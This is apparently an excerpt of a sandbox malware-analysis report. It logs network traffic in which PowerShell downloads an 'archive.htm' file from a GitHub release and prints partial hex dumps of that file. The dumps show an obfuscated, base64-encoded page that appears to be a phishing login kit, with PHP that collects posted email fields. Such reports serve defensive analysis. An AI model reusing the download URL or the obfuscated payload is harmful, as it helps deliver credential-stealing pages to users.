Dec 13, 2024 08:36:14.590569019 CET	49929	443	192.168.2.5	142.250.181.132
Dec 13, 2024 08:36:14.590645075 CET	443	49929	142.250.181.132	192.168.2.5
Dec 13, 2024 08:36:14.630402088 CET	49929	443	192.168.2.5	142.250.181.132
Dec 13, 2024 08:36:24.283694029 CET	443	49929	142.250.181.132	192.168.2.5
Dec 13, 2024 08:36:24.283858061 CET	443	49929	142.250.181.132	192.168.2.5
Dec 13, 2024 08:36:24.284018040 CET	49929	443	192.168.2.5	142.250.181.132
Dec 13, 2024 08:36:25.550951958 CET	49929	443	192.168.2.5	142.250.181.132
Dec 13, 2024 08:36:25.550956964 CET	443	49929	142.250.181.132	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 08:34:27.573906898 CET	57793	53	192.168.2.5	1.1.1.1
Dec 13, 2024 08:34:27.830686092 CET	53	57793	1.1.1.1	192.168.2.5
Dec 13, 2024 08:34:30.532998085 CET	58829	53	192.168.2.5	1.1.1.1
Dec 13, 2024 08:34:30.670728922 CET	53	58829	1.1.1.1	192.168.2.5
Dec 13, 2024 08:35:09.026308060 CET	49780	53	192.168.2.5	1.1.1.1
Dec 13, 2024 08:35:09.026933908 CET	54127	53	192.168.2.5	1.1.1.1
Dec 13, 2024 08:35:09.027977943 CET	63202	53	192.168.2.5	1.1.1.1
Dec 13, 2024 08:35:09.030488968 CET	56309	53	192.168.2.5	1.1.1.1
Dec 13, 2024 08:35:09.031527042 CET	55744	53	192.168.2.5	1.1.1.1
Dec 13, 2024 08:35:09.032296896 CET	65230	53	192.168.2.5	1.1.1.1
Dec 13, 2024 08:35:09.147707939 CET	53	53582	1.1.1.1	192.168.2.5
Dec 13, 2024 08:35:09.161953926 CET	53	50893	1.1.1.1	192.168.2.5
Dec 13, 2024 08:35:09.166047096 CET	53	63202	1.1.1.1	192.168.2.5
Dec 13, 2024 08:35:09.167279959 CET	53	56309	1.1.1.1	192.168.2.5
Dec 13, 2024 08:35:09.169048071 CET	53	55744	1.1.1.1	192.168.2.5
Dec 13, 2024 08:35:09.169245005 CET	53	65230	1.1.1.1	192.168.2.5
Dec 13, 2024 08:35:09.170918941 CET	53	55389	1.1.1.1	192.168.2.5
Dec 13, 2024 08:35:09.227083921 CET	53	54127	1.1.1.1	192.168.2.5
Dec 13, 2024 08:35:09.228836060 CET	53	49780	1.1.1.1	192.168.2.5
Dec 13, 2024 08:35:12.175267935 CET	53057	53	192.168.2.5	1.1.1.1
Dec 13, 2024 08:35:12.175440073 CET	58274	53	192.168.2.5	1.1.1.1
Dec 13, 2024 08:35:12.176246881 CET	59144	53	192.168.2.5	1.1.1.1
Dec 13, 2024 08:35:12.176470995 CET	52416	53	192.168.2.5	1.1.1.1
Dec 13, 2024 08:35:12.187242031 CET	53	53056	1.1.1.1	192.168.2.5
Dec 13, 2024 08:35:12.528553963 CET	53	59144	1.1.1.1	192.168.2.5
Dec 13, 2024 08:35:12.529115915 CET	53	65485	1.1.1.1	192.168.2.5
Dec 13, 2024 08:35:12.529443979 CET	53	53057	1.1.1.1	192.168.2.5
Dec 13, 2024 08:35:12.530548096 CET	53	52416	1.1.1.1	192.168.2.5
Dec 13, 2024 08:35:12.531639099 CET	53	58274	1.1.1.1	192.168.2.5
Dec 13, 2024 08:35:12.796480894 CET	49677	53	192.168.2.5	1.1.1.1
Dec 13, 2024 08:35:12.796746016 CET	60373	53	192.168.2.5	1.1.1.1
Dec 13, 2024 08:35:12.934098959 CET	53	49677	1.1.1.1	192.168.2.5
Dec 13, 2024 08:35:12.934117079 CET	53	60373	1.1.1.1	192.168.2.5
Dec 13, 2024 08:35:29.094141006 CET	53	53607	1.1.1.1	192.168.2.5
Dec 13, 2024 08:35:48.180255890 CET	53	54715	1.1.1.1	192.168.2.5
Dec 13, 2024 08:36:08.158677101 CET	53	55392	1.1.1.1	192.168.2.5
Dec 13, 2024 08:36:10.620892048 CET	53	63665	1.1.1.1	192.168.2.5
Dec 13, 2024 08:36:40.738373995 CET	53	51429	1.1.1.1	192.168.2.5
Dec 13, 2024 08:37:25.096837997 CET	53	56754	1.1.1.1	192.168.2.5
Dec 13, 2024 08:38:09.238632917 CET	138	138	192.168.2.5	192.168.2.255

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 13, 2024 08:34:27.573906898 CET	192.168.2.5	1.1.1.1	0x2347	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:34:30.532998085 CET	192.168.2.5	1.1.1.1	0x4a9f	Standard query (0)	objects.githubusercontent.com	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:35:09.026308060 CET	192.168.2.5	1.1.1.1	0xcce7	Standard query (0)	lipis.github.io	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:35:09.026933908 CET	192.168.2.5	1.1.1.1	0x48	Standard query (0)	lipis.github.io	65	IN (0x0001)	false
Dec 13, 2024 08:35:09.027977943 CET	192.168.2.5	1.1.1.1	0x9cd1	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:35:09.030488968 CET	192.168.2.5	1.1.1.1	0xd75	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 13, 2024 08:35:09.031527042 CET	192.168.2.5	1.1.1.1	0x2cad	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:35:09.032296896 CET	192.168.2.5	1.1.1.1	0xf4ff	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Dec 13, 2024 08:35:12.175267935 CET	192.168.2.5	1.1.1.1	0x565d	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:35:12.175440073 CET	192.168.2.5	1.1.1.1	0x769b	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Dec 13, 2024 08:35:12.176246881 CET	192.168.2.5	1.1.1.1	0xa8c6	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:35:12.176470995 CET	192.168.2.5	1.1.1.1	0xa56a	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 13, 2024 08:35:12.796480894 CET	192.168.2.5	1.1.1.1	0xb55f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:35:12.796746016 CET	192.168.2.5	1.1.1.1	0x1f60	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 13, 2024 08:34:27.830686092 CET	1.1.1.1	192.168.2.5	0x2347	No error (0)	github.com	20.233.83.145	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:34:30.670728922 CET	1.1.1.1	192.168.2.5	0x4a9f	No error (0)	objects.githubusercontent.com	185.199.111.133	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:34:30.670728922 CET	1.1.1.1	192.168.2.5	0x4a9f	No error (0)	objects.githubusercontent.com	185.199.108.133	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:34:30.670728922 CET	1.1.1.1	192.168.2.5	0x4a9f	No error (0)	objects.githubusercontent.com	185.199.110.133	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:34:30.670728922 CET	1.1.1.1	192.168.2.5	0x4a9f	No error (0)	objects.githubusercontent.com	185.199.109.133	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:35:09.166047096 CET	1.1.1.1	192.168.2.5	0x9cd1	No error (0)	cdnjs.cloudflare.com	104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:35:09.166047096 CET	1.1.1.1	192.168.2.5	0x9cd1	No error (0)	cdnjs.cloudflare.com	104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:35:09.167279959 CET	1.1.1.1	192.168.2.5	0xd75	No error (0)	cdnjs.cloudflare.com		65	IN (0x0001)	false
Dec 13, 2024 08:35:09.169048071 CET	1.1.1.1	192.168.2.5	0x2cad	No error (0)	stackpath.bootstrapcdn.com	104.18.11.207	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:35:09.169048071 CET	1.1.1.1	192.168.2.5	0x2cad	No error (0)	stackpath.bootstrapcdn.com	104.18.10.207	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:35:09.169245005 CET	1.1.1.1	192.168.2.5	0xf4ff	No error (0)	stackpath.bootstrapcdn.com		65	IN (0x0001)	false
Dec 13, 2024 08:35:09.228836060 CET	1.1.1.1	192.168.2.5	0xcce7	No error (0)	lipis.github.io	185.199.108.153	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:35:09.228836060 CET	1.1.1.1	192.168.2.5	0xcce7	No error (0)	lipis.github.io	185.199.109.153	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:35:09.228836060 CET	1.1.1.1	192.168.2.5	0xcce7	No error (0)	lipis.github.io	185.199.110.153	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:35:09.228836060 CET	1.1.1.1	192.168.2.5	0xcce7	No error (0)	lipis.github.io	185.199.111.153	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:35:12.528553963 CET	1.1.1.1	192.168.2.5	0xa8c6	No error (0)	cdnjs.cloudflare.com	104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:35:12.528553963 CET	1.1.1.1	192.168.2.5	0xa8c6	No error (0)	cdnjs.cloudflare.com	104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:35:12.529443979 CET	1.1.1.1	192.168.2.5	0x565d	No error (0)	stackpath.bootstrapcdn.com	104.18.10.207	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:35:12.529443979 CET	1.1.1.1	192.168.2.5	0x565d	No error (0)	stackpath.bootstrapcdn.com	104.18.11.207	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:35:12.530548096 CET	1.1.1.1	192.168.2.5	0xa56a	No error (0)	cdnjs.cloudflare.com		65	IN (0x0001)	false
Dec 13, 2024 08:35:12.531639099 CET	1.1.1.1	192.168.2.5	0x769b	No error (0)	stackpath.bootstrapcdn.com		65	IN (0x0001)	false
Dec 13, 2024 08:35:12.934098959 CET	1.1.1.1	192.168.2.5	0xb55f	No error (0)	www.google.com	142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:35:12.934117079 CET	1.1.1.1	192.168.2.5	0x1f60	No error (0)	www.google.com		65	IN (0x0001)	false

HTTP Request Dependency Graph

github.com

objects.githubusercontent.com

lipis.github.io

stackpath.bootstrapcdn.com

cdnjs.cloudflare.com

https:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	20.233.83.145	443	348	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 07:34:29 UTC	202	OUT	GET /homboz/arht/releases/download/seht/archive.htm/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: github.com Connection: Keep-Alive
2024-12-13 07:34:30 UTC	958	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Fri, 13 Dec 2024 07:34:30 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/902358606/75664a52-6f1d-487c-8405-bd50bd05b580?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20241213%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20241213T073430Z&X-Amz-Expires=300&X-Amz-Signature=244a1def283b3b0ed21f333d00231cc1c5139c45fefb475dce2d18012f1a0d8a&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Darchive.htm&response-content-type=application%2Foctet-stream Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-13 07:34:30 UTC	3378	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	185.199.111.133	443	348	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 07:34:31 UTC	644	OUT	GET /github-production-release-asset-2e65be/902358606/75664a52-6f1d-487c-8405-bd50bd05b580?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20241213%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20241213T073430Z&X-Amz-Expires=300&X-Amz-Signature=244a1def283b3b0ed21f333d00231cc1c5139c45fefb475dce2d18012f1a0d8a&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Darchive.htm&response-content-type=application%2Foctet-stream HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: objects.githubusercontent.com Connection: Keep-Alive
2024-12-13 07:34:32 UTC	842	IN	HTTP/1.1 200 OK Connection: close Content-Length: 941603 Content-Type: application/octet-stream Last-Modified: Thu, 12 Dec 2024 12:14:07 GMT ETag: "0x8DD1AA67A0EEA2F" Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: ab9966c3-801e-0034-2498-4cd29d000000 x-ms-version: 2024-11-04 x-ms-creation-time: Thu, 12 Dec 2024 12:14:07 GMT x-ms-blob-content-md5: 1o+62KMp6MKSozXjP1J73g== x-ms-lease-status: unlocked x-ms-lease-state: available x-ms-blob-type: BlockBlob Content-Disposition: attachment; filename=archive.htm x-ms-server-encrypted: true Via: 1.1 varnish, 1.1 varnish Fastly-Restarts: 1 Accept-Ranges: bytes Date: Fri, 13 Dec 2024 07:34:32 GMT Age: 20 X-Served-By: cache-iad-kjyo7100155-IAD, cache-ewr-kewr1740077-EWR X-Cache: HIT, HIT X-Cache-Hits: 47, 1 X-Timer: S1734075272.189729,VS0,VE0
2024-12-13 07:34:32 UTC	16384	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 74 6f 62 28 27 4a 54 4e 44 4a 54 4e 47 63 47 68 77 4a 54 42 42 61 57 59 6c 4d 6a 41 6c 4d 6a 67 6c 4d 6a 52 66 55 30 56 53 56 6b 56 53 4a 54 56 43 4a 54 49 79 55 6b 56 52 56 55 56 54 56 46 39 4e 52 56 52 49 54 30 51 6c 4d 6a 49 6c 4e 55 51 6c 4d 6a 41 6c 4d 30 51 6c 4d 30 51 6c 4d 6a 41 6c 4d 6a 4a 51 54 31 4e 55 4a 54 49 79 4a 54 49 35 4a 54 49 77 4a 54 64 43 4a 54 42 42 4a 54 49 77 4a 54 49 77 4a 54 49 77 4a 54 49 77 4a 54 49 30 52 57 31 68 61 57 77 6c 4d 6a 41 6c 4d 30 51 6c 4d 6a 42 6f 64 47 31 73 63 Data Ascii: <!DOCTYPE html><script type="text/javascript">document.write(decodeURIComponent(atob('JTNDJTNGcGhwJTBBaWYlMjAlMjglMjRfU0VSVkVSJTVCJTIyUkVRVUVTVF9NRVRIT0QlMjIlNUQlMjAlM0QlM0QlMjAlMjJQT1NUJTIyJTI5JTIwJTdCJTBBJTIwJTIwJTIwJTIwJTI0RW1haWwlMjAlM0QlMjBodG1sc
2024-12-13 07:34:32 UTC	16384	IN	Data Raw: 78 76 63 69 55 7a 51 53 55 79 4d 32 5a 6d 5a 69 55 7a 51 6d 4a 68 59 32 74 6e 63 6d 39 31 62 6d 51 74 59 32 39 73 62 33 49 6c 4d 30 45 6c 4d 6a 4e 6d 4e 7a 45 33 4e 54 49 6c 4d 30 4a 69 62 33 4a 6b 5a 58 49 74 59 32 39 73 62 33 49 6c 4d 30 46 79 5a 32 4a 68 4a 54 49 34 4d 43 55 79 51 7a 41 6c 4d 6b 4d 77 4a 54 4a 44 4d 43 34 79 4a 54 49 35 4a 54 64 45 4a 54 42 42 4c 6d 4a 30 62 69 31 6d 62 33 56 79 63 33 46 31 59 58 4a 6c 4a 54 4e 42 59 57 4e 30 61 58 5a 6c 4a 54 4a 44 4c 6d 4a 30 62 69 31 6d 62 33 56 79 63 33 46 31 59 58 4a 6c 4c 6d 46 6a 64 47 6c 32 5a 53 55 79 51 79 35 76 63 47 56 75 4a 54 4e 46 4c 6d 52 79 62 33 42 6b 62 33 64 75 4c 58 52 76 5a 32 64 73 5a 53 35 69 64 47 34 74 5a 6d 39 31 63 6e 4e 78 64 57 46 79 5a 53 55 33 51 6d 4e 76 62 47 39 79 4a Data Ascii: xvciUzQSUyM2ZmZiUzQmJhY2tncm91bmQtY29sb3IlM0ElMjNmNzE3NTIlM0Jib3JkZXItY29sb3IlM0FyZ2JhJTI4MCUyQzAlMkMwJTJDMC4yJTI5JTdEJTBBLmJ0bi1mb3Vyc3F1YXJlJTNBYWN0aXZlJTJDLmJ0bi1mb3Vyc3F1YXJlLmFjdGl2ZSUyQy5vcGVuJTNFLmRyb3Bkb3duLXRvZ2dsZS5idG4tZm91cnNxdWFyZSU3QmNvbG9yJ
2024-12-13 07:34:33 UTC	16384	IN	Data Raw: 4e 68 59 6d 78 6c 5a 43 35 6d 62 32 4e 31 63 79 55 79 51 79 35 69 64 47 34 74 62 33 42 6c 62 6d 6c 6b 4a 54 56 43 5a 47 6c 7a 59 57 4a 73 5a 57 51 6c 4e 55 51 75 5a 6d 39 6a 64 58 4d 6c 4d 6b 4e 6d 61 57 56 73 5a 48 4e 6c 64 43 55 31 51 6d 52 70 63 32 46 69 62 47 56 6b 4a 54 56 45 4a 54 49 77 4c 6d 4a 30 62 69 31 76 63 47 56 75 61 57 51 75 5a 6d 39 6a 64 58 4d 6c 4e 30 4a 69 59 57 4e 72 5a 33 4a 76 64 57 35 6b 4c 57 4e 76 62 47 39 79 4a 54 4e 42 4a 54 49 7a 5a 6a 63 35 4d 7a 46 6c 4a 54 4e 43 59 6d 39 79 5a 47 56 79 4c 57 4e 76 62 47 39 79 4a 54 4e 42 63 6d 64 69 59 53 55 79 4f 44 41 6c 4d 6b 4d 77 4a 54 4a 44 4d 43 55 79 51 7a 41 75 4d 69 55 79 4f 53 55 33 52 43 55 77 51 53 35 69 64 47 34 74 62 33 42 6c 62 6d 6c 6b 4a 54 49 77 4c 6d 4a 68 5a 47 64 6c 4a Data Ascii: NhYmxlZC5mb2N1cyUyQy5idG4tb3BlbmlkJTVCZGlzYWJsZWQlNUQuZm9jdXMlMkNmaWVsZHNldCU1QmRpc2FibGVkJTVEJTIwLmJ0bi1vcGVuaWQuZm9jdXMlN0JiYWNrZ3JvdW5kLWNvbG9yJTNBJTIzZjc5MzFlJTNCYm9yZGVyLWNvbG9yJTNBcmdiYSUyODAlMkMwJTJDMCUyQzAuMiUyOSU3RCUwQS5idG4tb3BlbmlkJTIwLmJhZGdlJ
2024-12-13 07:34:33 UTC	16384	IN	Data Raw: 68 76 62 79 55 7a 51 57 5a 76 59 33 56 7a 4a 54 4a 44 4c 6d 4a 30 62 69 31 35 59 57 68 76 62 79 35 6b 61 58 4e 68 59 6d 78 6c 5a 43 35 6d 62 32 4e 31 63 79 55 79 51 79 35 69 64 47 34 74 65 57 46 6f 62 32 38 6c 4e 55 4a 6b 61 58 4e 68 59 6d 78 6c 5a 43 55 31 52 43 35 6d 62 32 4e 31 63 79 55 79 51 32 5a 70 5a 57 78 6b 63 32 56 30 4a 54 56 43 5a 47 6c 7a 59 57 4a 73 5a 57 51 6c 4e 55 51 6c 4d 6a 41 75 59 6e 52 75 4c 58 6c 68 61 47 39 76 4c 6d 5a 76 59 33 56 7a 4a 54 64 43 59 6d 46 6a 61 32 64 79 62 33 56 75 5a 43 31 6a 62 32 78 76 63 69 55 7a 51 53 55 79 4d 7a 63 79 4d 47 55 35 5a 53 55 7a 51 6d 4a 76 63 6d 52 6c 63 69 31 6a 62 32 78 76 63 69 55 7a 51 58 4a 6e 59 6d 45 6c 4d 6a 67 77 4a 54 4a 44 4d 43 55 79 51 7a 41 6c 4d 6b 4d 77 4c 6a 49 6c 4d 6a 6b 6c 4e Data Ascii: hvbyUzQWZvY3VzJTJDLmJ0bi15YWhvby5kaXNhYmxlZC5mb2N1cyUyQy5idG4teWFob28lNUJkaXNhYmxlZCU1RC5mb2N1cyUyQ2ZpZWxkc2V0JTVCZGlzYWJsZWQlNUQlMjAuYnRuLXlhaG9vLmZvY3VzJTdCYmFja2dyb3VuZC1jb2xvciUzQSUyMzcyMGU5ZSUzQmJvcmRlci1jb2xvciUzQXJnYmElMjgwJTJDMCUyQzAlMkMwLjIlMjklN
2024-12-13 07:34:33 UTC	16384	IN	Data Raw: 49 6c 4d 30 45 77 4a 54 64 45 4c 6d 39 79 5a 47 56 79 4c 54 45 6c 4e 30 49 74 64 32 56 69 61 32 6c 30 4c 57 4a 76 65 43 31 76 63 6d 52 70 62 6d 46 73 4c 57 64 79 62 33 56 77 4a 54 4e 42 4d 69 55 7a 51 69 31 74 63 79 31 6d 62 47 56 34 4c 57 39 79 5a 47 56 79 4a 54 4e 42 4d 53 55 7a 51 6d 39 79 5a 47 56 79 4a 54 4e 42 4d 53 55 33 52 43 35 76 63 6d 52 6c 63 69 30 79 4a 54 64 43 4c 58 64 6c 59 6d 74 70 64 43 31 69 62 33 67 74 62 33 4a 6b 61 57 35 68 62 43 31 6e 63 6d 39 31 63 43 55 7a 51 54 4d 6c 4d 30 49 74 62 58 4d 74 5a 6d 78 6c 65 43 31 76 63 6d 52 6c 63 69 55 7a 51 54 49 6c 4d 30 4a 76 63 6d 52 6c 63 69 55 7a 51 54 49 6c 4e 30 51 75 62 33 4a 6b 5a 58 49 74 4d 79 55 33 51 69 31 33 5a 57 4a 72 61 58 51 74 59 6d 39 34 4c 57 39 79 5a 47 6c 75 59 57 77 74 5a Data Ascii: IlM0EwJTdELm9yZGVyLTElN0Itd2Via2l0LWJveC1vcmRpbmFsLWdyb3VwJTNBMiUzQi1tcy1mbGV4LW9yZGVyJTNBMSUzQm9yZGVyJTNBMSU3RC5vcmRlci0yJTdCLXdlYmtpdC1ib3gtb3JkaW5hbC1ncm91cCUzQTMlM0ItbXMtZmxleC1vcmRlciUzQTIlM0JvcmRlciUzQTIlN0Qub3JkZXItMyU3Qi13ZWJraXQtYm94LW9yZGluYWwtZ
2024-12-13 07:34:33 UTC	16384	IN	Data Raw: 55 7a 51 6d 5a 73 5a 58 67 6c 4d 30 45 77 4a 54 49 77 4d 43 55 79 4d 44 49 31 4a 54 49 31 4a 54 4e 43 62 57 46 34 4c 58 64 70 5a 48 52 6f 4a 54 4e 42 4d 6a 55 6c 4d 6a 55 6c 4e 30 51 75 59 32 39 73 4c 58 68 73 4c 54 51 6c 4e 30 49 74 64 32 56 69 61 32 6c 30 4c 57 4a 76 65 43 31 6d 62 47 56 34 4a 54 4e 42 4d 43 55 7a 51 69 31 74 63 79 31 6d 62 47 56 34 4a 54 4e 42 4d 43 55 79 4d 44 41 6c 4d 6a 41 7a 4d 79 34 7a 4d 7a 4d 7a 4d 7a 4d 6c 4d 6a 55 6c 4d 30 4a 6d 62 47 56 34 4a 54 4e 42 4d 43 55 79 4d 44 41 6c 4d 6a 41 7a 4d 79 34 7a 4d 7a 4d 7a 4d 7a 4d 6c 4d 6a 55 6c 4d 30 4a 74 59 58 67 74 64 32 6c 6b 64 47 67 6c 4d 30 45 7a 4d 79 34 7a 4d 7a 4d 7a 4d 7a 4d 6c 4d 6a 55 6c 4e 30 51 75 59 32 39 73 4c 58 68 73 4c 54 55 6c 4e 30 49 74 64 32 56 69 61 32 6c 30 4c Data Ascii: UzQmZsZXglM0EwJTIwMCUyMDI1JTI1JTNCbWF4LXdpZHRoJTNBMjUlMjUlN0QuY29sLXhsLTQlN0Itd2Via2l0LWJveC1mbGV4JTNBMCUzQi1tcy1mbGV4JTNBMCUyMDAlMjAzMy4zMzMzMzMlMjUlM0JmbGV4JTNBMCUyMDAlMjAzMy4zMzMzMzMlMjUlM0JtYXgtd2lkdGglM0EzMy4zMzMzMzMlMjUlN0QuY29sLXhsLTUlN0Itd2Via2l0L
2024-12-13 07:34:33 UTC	16384	IN	Data Raw: 56 77 4c 57 78 6e 4a 54 4e 46 4c 6d 6c 75 63 48 56 30 4c 57 64 79 62 33 56 77 4c 58 42 79 5a 58 42 6c 62 6d 51 6c 4d 30 55 75 61 57 35 77 64 58 51 74 5a 33 4a 76 64 58 41 74 64 47 56 34 64 43 55 33 51 6e 42 68 5a 47 52 70 62 6d 63 6c 4d 30 45 75 4e 58 4a 6c 62 53 55 79 4d 44 46 79 5a 57 30 6c 4d 30 4a 6d 62 32 35 30 4c 58 4e 70 65 6d 55 6c 4d 30 45 78 4c 6a 49 31 63 6d 56 74 4a 54 4e 43 62 47 6c 75 5a 53 31 6f 5a 57 6c 6e 61 48 51 6c 4d 30 45 78 4c 6a 55 6c 4d 30 4a 69 62 33 4a 6b 5a 58 49 74 63 6d 46 6b 61 58 56 7a 4a 54 4e 42 4c 6a 4e 79 5a 57 30 6c 4e 30 51 75 61 57 35 77 64 58 51 74 5a 33 4a 76 64 58 41 74 62 47 63 6c 4d 30 55 75 61 57 35 77 64 58 51 74 5a 33 4a 76 64 58 41 74 59 58 42 77 5a 57 35 6b 4a 54 4e 46 63 32 56 73 5a 57 4e 30 4c 6d 4a 30 62 Data Ascii: VwLWxnJTNFLmlucHV0LWdyb3VwLXByZXBlbmQlM0UuaW5wdXQtZ3JvdXAtdGV4dCU3QnBhZGRpbmclM0EuNXJlbSUyMDFyZW0lM0Jmb250LXNpemUlM0ExLjI1cmVtJTNCbGluZS1oZWlnaHQlM0ExLjUlM0Jib3JkZXItcmFkaXVzJTNBLjNyZW0lN0QuaW5wdXQtZ3JvdXAtbGclM0UuaW5wdXQtZ3JvdXAtYXBwZW5kJTNFc2VsZWN0LmJ0b
2024-12-13 07:34:33 UTC	16384	IN	Data Raw: 52 76 5a 32 64 73 5a 53 55 7a 51 57 5a 76 59 33 56 7a 4a 54 64 43 59 6d 39 34 4c 58 4e 6f 59 57 52 76 64 79 55 7a 51 54 41 6c 4d 6a 41 77 4a 54 49 77 4d 43 55 79 4d 43 34 79 63 6d 56 74 4a 54 49 77 63 6d 64 69 59 53 55 79 4f 44 41 6c 4d 6b 4d 78 4d 6a 4d 6c 4d 6b 4d 79 4e 54 55 6c 4d 6b 4d 75 4e 53 55 79 4f 53 55 33 52 43 35 69 64 47 34 74 63 32 56 6a 62 32 35 6b 59 58 4a 35 4a 54 64 43 59 32 39 73 62 33 49 6c 4d 30 45 6c 4d 6a 4e 6d 5a 6d 59 6c 4d 30 4a 69 59 57 4e 72 5a 33 4a 76 64 57 35 6b 4c 57 4e 76 62 47 39 79 4a 54 4e 42 4a 54 49 7a 4e 6d 4d 33 4e 54 64 6b 4a 54 4e 43 59 6d 39 79 5a 47 56 79 4c 57 4e 76 62 47 39 79 4a 54 4e 42 4a 54 49 7a 4e 6d 4d 33 4e 54 64 6b 4a 54 64 45 4c 6d 4a 30 62 69 31 7a 5a 57 4e 76 62 6d 52 68 63 6e 6b 6c 4d 30 46 6f 62 Data Ascii: RvZ2dsZSUzQWZvY3VzJTdCYm94LXNoYWRvdyUzQTAlMjAwJTIwMCUyMC4ycmVtJTIwcmdiYSUyODAlMkMxMjMlMkMyNTUlMkMuNSUyOSU3RC5idG4tc2Vjb25kYXJ5JTdCY29sb3IlM0ElMjNmZmYlM0JiYWNrZ3JvdW5kLWNvbG9yJTNBJTIzNmM3NTdkJTNCYm9yZGVyLWNvbG9yJTNBJTIzNmM3NTdkJTdELmJ0bi1zZWNvbmRhcnklM0Fob
